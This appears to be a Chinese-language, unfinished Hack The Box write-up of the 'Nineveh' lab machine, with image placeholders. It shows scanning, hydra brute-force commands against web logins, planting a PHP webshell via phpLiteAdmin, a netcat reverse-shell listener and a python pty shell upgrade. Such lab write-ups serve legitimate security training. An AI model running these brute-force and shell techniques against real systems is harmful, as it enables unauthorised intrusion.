hackthebox Nineveh

nmap -sC -sV -oA  nmap 10.10.10.43

探测操作系统服务及相关版本,并保存为nmap.nmap.


hackthebox Nineveh_第1张图片
image.png

根据ssl-cert可看到主机名。
编辑 /etc/hosts 配置ip及对应主机名

vi /etc/hosts
10.10.10.43  nineveh
hackthebox Nineveh_第2张图片
image.png

hackthebox Nineveh_第3张图片
image.png

hackthebox Nineveh_第4张图片
image.png

HTTP协议传输的数据都是未加密的,也就是明文的,因此使用HTTP协议传输隐私信息非常不安全,为了保证这些隐私数据能加密传输,于是网景公司设计了SSL(Secure Sockets Layer)协议用于对HTTP协议传输的数据进行加密,从而就诞生了HTTPS。
简单来说,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。

dirsearch.py -u https://nineveh.htb -e *
dirsearch.py -u nineveh.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e *
hackthebox Nineveh_第5张图片
image.png
hackthebox Nineveh_第6张图片
image.png

hackthebox Nineveh_第7张图片
image.png

使用hydra爆破


hackthebox Nineveh_第8张图片
image.png

hackthebox Nineveh_第9张图片
image.png
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/10k_most_common.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/10k_most_common.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64
hackthebox Nineveh_第10张图片
image.png

hackthebox Nineveh_第11张图片
image.png

成功爆破到密码


image.png

未爆破到db密码 更换字典尝试

grep -i ^password /usr/shark/wordlists/rockyou.txt >pw
hydra -l admin -P pw10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64

爆破到db密码为password123,发现为phpliteadmin系统,搜索下以前的漏洞

searchsploit phpliteadmin
hackthebox Nineveh_第12张图片
image.png
hackthebox Nineveh_第13张图片
image.png

创建新数据库并已php为扩展名,创建表写入php一句话。


hackthebox Nineveh_第14张图片
image.png

只能重命名为ninevehNotes.php 。根据提示更改下一句话


hackthebox Nineveh_第15张图片
image.png

根据提示更改下一句话


hackthebox Nineveh_第16张图片
image.png

利用nc getshell

nc -lvpn 9999

反向shell获取参考http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

hackthebox Nineveh_第17张图片
image.png

将其转换成交互式的shell,方便运行su。在终端中执行:

python -c 'import pty;pty.spawn('/bin/bash')'    

python2没有spawn,我们使用python3

python3 -c 'import pty;pty.spawn("/bin/bash")'
hackthebox Nineveh_第18张图片
image.png

我们需要设置tty 保证我们在nc shell 上与终端完全交互,以便使用所有功能(tab-complete,history,job control等):

参考:如何将简单的Shell转换成为完全交互式的TTY
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3529.html

未完待续

你可能感兴趣的:(hackthebox Nineveh)